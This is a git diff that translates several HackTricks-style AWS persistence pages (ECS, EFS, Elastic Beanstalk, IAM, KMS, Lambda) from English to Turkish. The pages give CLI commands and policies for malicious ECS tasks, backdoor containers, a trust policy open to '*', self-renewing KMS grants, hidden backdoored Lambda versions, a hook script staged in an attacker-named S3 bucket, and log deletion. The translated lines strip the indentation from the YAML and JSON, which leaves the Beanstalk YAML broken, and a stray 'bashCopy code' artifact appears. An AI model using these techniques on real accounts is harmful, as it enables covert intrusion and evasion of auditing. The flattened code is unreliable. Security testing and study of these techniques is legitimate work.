-### Hidden Periodic ECS Task
+### Gizli Periyodik ECS Görevi
> [!NOTE]
> TODO: Test
-An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
-
+Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev, keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
- {
- "Id": "malicious-ecs-task-target",
- "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
- "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
- "EcsParameters": {
- "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
- "TaskCount": 1
- }
- }
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
]'
```
-
-### Backdoor Container in Existing ECS Task Definition
+### Mevcut ECS Görev Tanımında Arka Kapı Konteyneri
> [!NOTE]
> TODO: Test
-An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
-
+Bir saldırgan, meşru konteynerlerle birlikte çalışan mevcut bir ECS görev tanımına **gizli bir arka kapı konteyneri** ekleyebilir. Arka kapı konteyneri, kalıcılık sağlamak ve kötü niyetli faaliyetler gerçekleştirmek için kullanılabilir.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
- {
- "name": "legitimate-container",
- "image": "legitimate-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- },
- {
- "name": "backdoor-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": false
- }
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
]'
```
-
-### Undocumented ECS Service
+### Belgesiz ECS Servisi
> [!NOTE]
> TODO: Test
-An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
-
+Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. Görevlerin istenen sayısını en aza indirip günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi zorlaşır.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..9eeca49a3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -1,25 +1,21 @@
-# AWS - EFS Persistence
+# AWS - EFS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## EFS
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modify Resource Policy / Security Groups
+### Kaynak Politikasını / Güvenlik Gruplarını Değiştir
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+**kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz.
-### Create Access Point
+### Erişim Noktası Oluştur
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+**erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..32362170e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -1,34 +1,33 @@
-# AWS - Elastic Beanstalk Persistence
+# AWS - Elastic Beanstalk Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistence in Instance
+### Instance İçinde Süreklilik
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir.
-### Backdoor in Version
+### Versiyonda Arka Kapı
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+Bir saldırgan, S3 deposundaki kodu arka kapı ile değiştirebilir, böylece her zaman arka kapısını ve beklenen kodu çalıştırır.
-### New backdoored version
+### Yeni Arka Kapılı Versiyon
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir arka kapılı versiyonunu dağıtabilir.
-### Abusing Custom Resource Lifecycle Hooks
+### Özel Kaynak Yaşam Döngüsü Kancalarının Suistimali
> [!NOTE]
> TODO: Test
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
-
+Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri sızdıran bir betiği periyodik olarak çalıştırmak için bir yaşam döngüsü kancası yapılandırabilir**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
- AWSEBAutoScalingGroup:
- Metadata:
- AWS::ElasticBeanstalk::Ext:
- TriggerConfiguration:
- triggers:
- - name: stealthy-lifecycle-hook
- events:
- - "autoscaling:EC2_INSTANCE_LAUNCH"
- - "autoscaling:EC2_INSTANCE_TERMINATE"
- target:
- ref: "AWS::ElasticBeanstalk::Environment"
- arn:
- Fn::GetAtt:
- - "AWS::ElasticBeanstalk::Environment"
- - "Arn"
- stealthyLifecycleHook:
- Type: AWS::AutoScaling::LifecycleHook
- Properties:
- AutoScalingGroupName:
- Ref: AWSEBAutoScalingGroup
- LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
- NotificationTargetARN:
- Ref: stealthy-lifecycle-hook
- RoleARN:
- Fn::GetAtt:
- - AWSEBAutoScalingGroup
- - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..17e0fe573 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -1,53 +1,47 @@
-# AWS - IAM Persistence
+# AWS - IAM Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## IAM
-For more information access:
+Daha fazla bilgi için erişin:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### Common IAM Persistence
+### Yaygın IAM Sürekliliği
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- Bir kullanıcı oluştur
+- Kontrol edilen bir kullanıcıyı ayrıcalıklı bir gruba ekle
+- Erişim anahtarları oluştur (yeni kullanıcının veya tüm kullanıcıların)
+- Kontrol edilen kullanıcılara/gruplara ek izinler ver (ekli politikalar veya satır içi politikalar)
+- MFA'yı devre dışı bırak / Kendi MFA cihazını ekle
+- Bir Rol Zinciri Jonglör durumu oluştur (bununla ilgili daha fazla bilgi aşağıda STS sürekliliğinde)
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### Arka Kapı Rol Güven Politikaları
+Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolünüzdeki bir dış kaynak için üstlenebilirsiniz (veya herkes için):
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": ["*", "arn:aws:iam::123213123123:root"]
- },
- "Action": "sts:AssumeRole"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
}
```
+### Arka Kapı Politika Versiyonu
-### Backdoor Policy Version
+Bir politikaya, son versiyonu değil, Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+### Arka Kapı / Kimlik Sağlayıcı Oluştur
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..dce508d41 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -1,43 +1,37 @@
-# AWS - KMS Persistence
+# AWS - KMS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## KMS
-For mor information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
-### Grant acces via KMS policies
+### KMS politikaları aracılığıyla erişim verme
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü altındaki bir kullanıcıya veya hatta bir dış hesaba **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc sayfasını**](../aws-privilege-escalation/aws-kms-privesc.md) kontrol edin.
-### Eternal Grant
+### Sonsuz İzin
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+İzinler, bir anahtar üzerinde bir ilkeye bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Ayrıca, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olması mümkündür.
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır.
+(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahip.)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
+--key-id \
+--grantee-principal \
+--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id
```
-
> [!NOTE]
-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Bir grant yalnızca şu izinleri verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..e649eec4f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,68 +1,64 @@
-# AWS - Lambda Persistence
+# AWS - Lambda Sürekliliği
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Lambda Katmanı Sürekliliği
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı eklemek** mümkündür:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Lambda Uzantı Sürekliliği
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambdada kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
-### Via resource policies
+### Kaynak politikaları aracılığıyla
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme gibi) dış hesaplara erişim vermek mümkündür:
-### Versions, Aliases & Weights
+### Sürümler, Takma Adlar & Ağırlıklar
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Bir Lambda **farklı sürümlere** (her sürümde farklı kodlarla) sahip olabilir.\
+Sonra, lambdanın **farklı sürümleriyle farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\
+Bu şekilde bir saldırgan **arka kapılı sürüm 1** ve **yalnızca meşru kod içeren sürüm 2** oluşturabilir ve **isteklerin %1'inde yalnızca sürüm 1'i çalıştırarak** gizli kalabilir.
-### Version Backdoor + API Gateway
+### Sürüm Arka Kapısı + API Gateway
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Lambdanın orijinal kodunu kopyalayın
+2. Orijinal kodu **arka kapı ekleyerek yeni bir sürüm oluşturun** (veya sadece kötü niyetli kodla). Bu sürümü yayınlayın ve **$LATEST'e dağıtın**
+1. Kodu çalıştırmak için lambdayla ilgili API geçidini çağırın
+3. **Orijinal kodla yeni bir sürüm oluşturun**, yayınlayın ve bu **sürümü** $LATEST'e dağıtın.
+1. Bu, arka kapılı kodu önceki bir sürümde gizleyecektir
+4. API Gateway'e gidin ve **arka kapılı sürümü çalıştıracak yeni bir POST yöntemi oluşturun** (veya başka bir yöntemi seçin): `arn:aws:lambda:us-east-1::function::1`
+1. Sonundaki :1'in **işlevin sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olacaktır).
+5. Oluşturulan POST yöntemini seçin ve Eylemler'de **`API'yi Dağıt`** seçin
+6. Artık, **POST aracılığıyla işlevi çağırdığınızda Arka Kapınız** tetiklenecektir
-### Cron/Event actuator
+### Cron/Olay aktüatörü
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+**Lambda işlevlerinin bir şey olduğunda veya bir süre geçtiğinde çalışmasını sağlamak**, lambdayı süreklilik sağlamak ve tespiti önlemek için hoş ve yaygın bir yol haline getirir.\
+AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirleriniz var.
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir.
+- Her yeni rol oluşturulduğunda lambda, tehlikeye atılmış kullanıcılara rol üstlenme izinleri verir.
+- Her yeni cloudtrail kaydı oluşturulduğunda, bunları silin/değiştirin.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..cf48d9abd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,46 +1,42 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Lambda Uzantılarını Kötüye Kullanma
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Lambda Uzantıları
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla eklenir veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) yer alır ve iki modda çalışır: **içsel** ve **dışsal**.
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **İçsel uzantılar**, çalışma zamanı süreciyle birleşerek, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanlarına uygulanır.
+- **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda işlevinin yaşam döngüsü ile operasyon uyumunu korur. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur.
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+[**Lambda uzantılarının nasıl çalıştığı hakkında daha fazla bilgi için belgeleri kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### Süreklilik, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Bu, bu yazıda önerilen tekniğin bir özetidir: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+Lambda çalışma zamanı ortamındaki varsayılan Linux çekirdeğinin “**process_vm_readv**” ve “**process_vm_writev**” sistem çağrıları ile derlendiği bulunmuştur. Ve tüm süreçler aynı kullanıcı kimliği ile çalışır, dışsal uzantı için oluşturulan yeni süreç bile. **Bu, dışsal bir uzantının tasarım gereği Rapid’in yığın belleğine tam okuma ve yazma erişimine sahip olduğu anlamına gelir.**
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+Ayrıca, Lambda uzantıları **çağrı olaylarına abone olma** yeteneğine sahipken, AWS bu uzantılara ham verileri açıklamaz. Bu, **uzantıların HTTP isteği aracılığıyla iletilen hassas bilgilere erişemeyeceğini** garanti eder.
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+Init (Rapid) süreci, [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde tüm API isteklerini izlerken, Lambda uzantıları başlatılır ve herhangi bir çalışma zamanı kodunun yürütülmesinden önce, ancak Rapid'ten sonra çalışır.
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+**`AWS_LAMBDA_RUNTIME_API`** değişkeni, **çocuk çalışma zamanı süreçlerine** ve ek uzantılara Rapid API'nin **IP** adresini ve **port** numarasını gösterir.
> [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklarla çalışmasından ve sistemin çekirdeğinin **işlem belleğini değiştirmeye** izin vermesinden kaynaklanmaktadır; bu da port numarasının değiştirilmesini sağlar.
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+Çünkü **uzantılar herhangi bir çalışma zamanı kodundan önce çalışır**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlamasına olanak tanıyabilir.
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma** ve hatta **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur.
-## References
+## Referanslar
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..09e08df25 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,82 +1,75 @@
-# AWS - Lambda Layers Persistence
+# AWS - Lambda Katmanları Sürekliliği
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Layers
+## Lambda Katmanları
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir.
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+Her fonksiyon için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir fonksiyona dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır.
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
